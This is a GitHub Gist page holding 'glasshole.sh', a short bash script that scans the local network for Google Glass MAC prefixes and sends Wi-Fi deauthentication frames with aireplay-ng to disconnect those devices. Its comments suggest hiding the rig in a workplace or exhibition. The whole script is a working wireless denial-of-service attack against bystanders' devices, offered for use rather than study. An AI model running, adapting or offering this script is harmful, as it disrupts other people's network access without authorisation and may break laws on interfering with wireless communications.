Created
May 31, 2014 14:13
-
-
Save urschrei/b0fc3fdab4db5e67b6ff to your computer and use it in GitHub Desktop.
The below script will find and detect Google Glass on the local network and kick them off. Read the comments for more details.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# original: http://julianoliver.com/output/log_2014-05-30_20-52 | |
# GLASSHOLE.SH | |
# | |
# Find and kick Google Glass devices from your local wireless network. Requires | |
# 'beep', 'arp-scan', 'aircrack-ng' and a GNU/Linux host. Put on a BeagleBone | |
# black or Raspberry Pi. Plug in a good USB wireless NIC (like the TL-WN722N) | |
# and wear it, hide it in your workplace or your exhibition. | |
# | |
# Save as glasshole.sh, 'chmod +x glasshole.sh' and exec as follows: | |
# | |
# sudo ./glasshole.sh <WIRELESS NIC> <BSSID OF ACCESS POINT> | |
shopt -s nocasematch # Set shell to ignore case | |
NIC=$1 # Your wireless NIC | |
BSSID=$2 # Network BSSID (exhibition, workplace, park) | |
MAC=$(/sbin/ifconfig | grep $NIC | head -n 1 | awk '{ print $5 }') | |
GGMAC='F8:8F:CA:24' # May change as new editions of Google Glass are released | |
POLL=30 # Check every 30 seconds | |
airmon-ng stop mon0 # Pull down any lingering monitor devices | |
airmon-ng start $NIC # Start a monitor device | |
echo ' | |
___ _ __ __ __ __ __ | |
/ _ \___ ___ ( ) /_ / / ___ ___ _ ___ _/ /__ ____ ___ / / ___ / /__ | |
/ // / _ \/ _ \|/ __/ / _ \/ -_) / _ `/ / _ `/ / _ `(_-<(_-</ _ \/ _ \/ / -_) | |
/____/\___/_//_/ \__/ /_.__/\__/ \_,_/ \_, /_/\_,_/___/___/_//_/\___/_/\__/ | |
/___/ | |
' | |
while true; | |
do | |
for TARGET in $(arp-scan -I $NIC --localnet | grep -o -E \ | |
'([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}') | |
do | |
if [[ $TARGET == *$GGMAC* ]] | |
then | |
# Audio alert | |
beep -f 1000 -l 500 -n 200 -r 2 | |
echo "Glasshole discovered: "$TARGET | |
echo "De-authing..." | |
aireplay-ng -0 1 -a $BSSID -c $TARGET mon0 | |
else | |
echo $TARGET": is not a Google Glass. Leaving alone.." | |
fi | |
done | |
echo "None found this round." | |
sleep $POLL | |
done | |
airmon-ng stop mon0 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment